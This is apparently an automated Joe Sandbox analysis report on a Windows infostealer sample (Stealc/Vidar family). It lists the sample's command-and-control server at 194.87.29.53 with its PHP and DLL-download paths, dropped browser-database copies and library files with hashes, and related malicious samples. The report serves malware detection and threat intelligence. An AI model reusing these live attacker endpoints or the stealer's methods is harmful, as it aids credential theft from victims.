https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	RegAsm.exe, 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	HJDBFBKK.3.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RegAsm.exe, RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://194.87.29.53/6f9307efa625dd18.phpl7	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	HJDBFBKK.3.dr	false	URL Reputation: safe	unknown
http://194.87.29.53/6f9307efa625dd18.phpl3	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	HJDBFBKK.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17-	RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://194.87.29.53	RegAsm.exe, 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://194.87.29.53/6f9307efa625dd18.phpw	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/:	RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	false	URL Reputation: safe	unknown
http://194.87.29.53/6f9307efa625dd18.php-D	RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/97f9710b31d15029/freebl3.dllX	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/97f9710b31d15029/softokn3.dllv	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/6f9307efa625dd18.phpa	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	false	URL Reputation: safe	unknown
http://194.87.29.53/6f9307efa625dd18.phpe	RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	HJDBFBKK.3.dr	false	URL Reputation: safe	unknown
http://194.87.29.536f9307efa625dd18.phpsition:	RegAsm.exe, 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.87.29.53	unknown	Russian Federation		49392	ASBAXETNRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520704
Start date and time:	2024-09-27 18:28:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 83 Number of non-executed functions: 209
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
194.87.29.53	Exclusive Temu Rewards Black Friday Delights Await! fchOgs.zip	Get hash	malicious	HTMLPhisher	Browse
	http://20.168.247.101/f/q/001pk120aavp14179ick~~/ZBSMPXW~/JeovvjTXlirDlTwiWwLUjsvivgHabANKFcgalaYxiqbtkyCgUobdGw-uYQcDTcEuQpaTwaewZBEpDYzbBGVPHZwemyHgBmArCAlYBpuBRZQAAAAA	Get hash	malicious	GRQ Scam, Phisher	Browse
	http://20.168.247.101/f/k/001pk120aav1u4179ick~~/OKGXTSC~/NdOzEoToGkMrHEDVFWfVgAaIVoCIaICOMrorFhFmrrEZWhUBeaxkA-jIQTvNveOeGCQXRhDYMQqduqaCkCHkZRLxKhkglZkSBaPtitrQAAAAA	Get hash	malicious	Phisher	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASBAXETNRU	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	45.135.232.38
	#U0631#U0648#U0632 #U0633#U06cc#U0627#U0647 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	194.87.45.14
	#U0641#U0631#U0627#U062e#U0648#U0627#U0646 #U0631#U0648#U0632 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	194.87.45.14
	#U0631#U0648#U0632 #U0633#U06cc#U0627#U0647 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	194.87.45.14
	#U0641#U0631#U0627#U062e#U0648#U0627#U0646 #U0631#U0648#U0632 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	194.87.45.14
	172698102496c864a187aff64295ab0b70d4e0148fc884b8fdef49a9c604553959f0c4197e421.dat-decoded.exe	Get hash	malicious	Remcos	Browse	45.135.232.38
	1726981024afb0b5261027cf8cb56ba2e74288f35f8a8f03f714e141da3004c24e1b6d3c16555.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	45.135.232.38
	SecuriteInfo.com.Linux.Siggen.9999.8861.1379.elf	Get hash	malicious	Mirai	Browse	212.196.169.14
	file.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	212.192.12.222
	http://104.219.233.181/fwd/P2Q9MjU2Mjc5JmVpPTcyODUyMjcyJmlmPTUxNDQyJm5kcD03OTgzJnNpPTE3JmxpPTIyMzcz	Get hash	malicious	Phisher	Browse	45.147.195.6

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	zlsXub68El.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	zlsXub68El.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFIEGCAECGCAEBFHDHIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKEGIIJDGHCAKFHJEHCFIJJEGI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIDAAAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIJKEHCAKFCAKFHDAAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGCBFHCFCFBFIEBGHJECGHCFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAFIIDAKJDGDHIDAKJJJEHCFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJDBFBKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: zlsXub68El.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: zlsXub68El.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
